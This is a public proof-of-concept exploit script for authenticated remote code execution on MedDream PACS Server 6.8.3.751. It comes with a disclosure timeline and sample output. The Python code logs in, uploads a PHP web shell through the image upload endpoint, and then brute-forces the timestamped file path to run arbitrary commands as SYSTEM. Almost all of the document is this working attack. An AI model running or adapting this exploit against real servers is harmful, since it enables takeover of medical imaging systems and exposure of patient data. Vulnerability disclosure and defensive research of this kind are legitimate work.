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MedDream PACS Server 6.8.3.751 - Remote Code Execution (Authenticated)

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#!/usr/bin/python
#
#
# Exploit Title: MedDream PACS Server 6.8.3.751 - Remote Code Execution (Authenticated)
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: MedDream PACS Server 6.8.3.751 - Remote Code Execution (Authenticated)
# Date: 2020-10-01
# Vulnerable Software: https://www.softneta.com/products/meddream-pacs-server/
# Vendor Homepage: https://www.softneta.com
# Version: 6.8.3.751
# Tested On: Windows 2016
#
#
# Timeline
# 05-02-20: Submitted incident through email, immediate response
# 05-04-20: Issue resolved, New version released 6.8.3.1.751
# 
# Note: Core Vulnerability resides in another product which has been remediated as well
#
##PoC##
#
# 1. create one line php shell to call commands
# 2. run script on attacking machine
# 3. enter parameters; IP, filename, username, password, command
# 
#
# root@kali:~# python meddream.py 
# Enter IP Address: 192.168.0.223
# Enter payload filename + .php: cmd.php
# Enter Username: user1
# Enter Password: SoSecure!!
# Enter command: whoami
# 212357
# <pre>nt authority\system
# </pre>
# http://192.168.0.223/Pacs/upload/20201001-212357--cmd.php?cmd=whoami
# 404
# 404
# 404
# 404
# 404
# 404
# 404
# 404
# 404
#
#

from urllib2 import urlopen                        
from bs4 import BeautifulSoup
import requests
import sys
import time
from datetime import datetime, timedelta

ip_addr = raw_input("Enter IP Address: ")
user_file = raw_input("Enter payload filename + .php: ")
uname = raw_input("Enter Username: ")
pword = raw_input("Enter Password: ")
cmd = raw_input("Enter command: ")

URL1= 'http://' + ip_addr + '/Pacs/login.php'
URL2= 'http://' + ip_addr + '/Pacs/authenticate.php'
URL3= 'http://' + ip_addr + '/Pacs/uploadImage.php'

def main():
    session = requests.Session() 

    site = session.get(URL1)
    
    soup = BeautifulSoup(site.content, "html.parser")
    antispam = soup.find("input", {"name":"formAntiSpam"})["value"]
    dbname = soup.find("input", {"name":"aetitle"})["value"]
    login_data = {
    'loginvalue': 'login',
    'aetitle': dbname,
    'username': uname,
    'password': pword,
    'formAntispam': antispam,
    'login': 'Login',
    }
    
    r = session.post(URL2, data = login_data)
   

    files = [
    ('actionvalue', (None, 'Attach', None)),
    ('uploadfile', (user_file, open(user_file, 'rb'), 'application/x-php')),
    ('action', (None, 'Attach', None)),
    ]

    r = session.post(URL3, files=files)

    today = datetime.today()
    upload_date = today.strftime("%Y%m%d")

    less = 1
    now1 = datetime.now()
    up_time1 = now1.strftime("%H%M%S")
    print(up_time1)
    #varying time checks +/-
    now2 = now1 - timedelta(seconds=less)
    up_time2 = now2.strftime("%H%M%S")
    now3 = now2 - timedelta(seconds=less)
    up_time3 = now3.strftime("%H%M%S")
    now4 = now3 - timedelta(seconds=less)
    up_time4 = now4.strftime("%H%M%S")
    now5 = now4 - timedelta(seconds=less)
    up_time5 = now5.strftime("%H%M%S")
    now6 = now5 - timedelta(seconds=less)
    up_time6 = now6.strftime("%H%M%S")
    now7 = now6 - timedelta(seconds=less)
    up_time7 = now7.strftime("%H%M%S")
    now8 = now1 + timedelta(seconds=less)
    up_time8 = now8.strftime("%H%M%S")
    now9 = now8 + timedelta(seconds=less)
    up_time9 = now8.strftime("%H%M%S")
    now10 = now1 + timedelta(seconds=less)
    up_time10 = now9.strftime("%H%M%S")


    up_time_array = [up_time1, up_time2, up_time3, up_time4, up_time5, up_time6, up_time7, up_time8, up_time9, up_time10]  
    for i in up_time_array: 
        r = session.get('http://' + ip_addr + '/Pacs/upload/'+ upload_date + "-" + i + "--" + user_file + "?cmd=" + cmd)
        if r.status_code == 200: 
            print r.content
            print r.url
        else:
            print ("404")

if __name__ == '__main__':
    main()
            
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